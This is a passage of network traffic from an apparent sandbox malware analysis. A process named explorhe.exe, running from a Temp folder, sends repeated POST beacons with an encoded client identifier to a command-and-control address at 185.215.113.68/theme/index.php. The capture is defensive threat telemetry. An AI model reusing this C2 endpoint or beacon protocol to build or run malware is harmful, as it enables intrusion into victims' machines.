Jan 18, 2024 00:35:05.398710012 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:05.399872065 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:05.638927937 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49938	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:06.030123949 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:06.261567116 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:06.267286062 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:06.503110886 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49943	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:06.856842995 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:07.097268105 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:07.106020927 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:07.348687887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49955	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:07.715429068 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:07.949820042 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:07.950767040 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:08.190100908 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49956	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:08.547122955 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:08.787763119 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:08.788845062 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:09.031049967 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49957	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:09.378520012 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:09.614592075 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:09.641834974 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:09.881742001 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49958	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:10.252531052 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:10.486923933 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:10.645092964 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:10.884397984 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49966	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:11.228867054 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:11.464541912 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:11.465468884 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:11.701709032 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49968	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:12.040777922 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:12.272648096 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:12.296320915 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:12.533083916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49970	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:13.042385101 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:13.279058933 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:13.373631001 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:13.612019062 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49980	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:13.995671034 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:14.229039907 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:14.377728939 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:14.622761011 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49988	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:15.202073097 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:15.441811085 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:15.454027891 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:15.697925091 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50004	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:35:16.092042923 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:35:16.326275110 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30
Jan 18, 2024 00:35:16.327466965 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:35:16.565469027 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50009	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
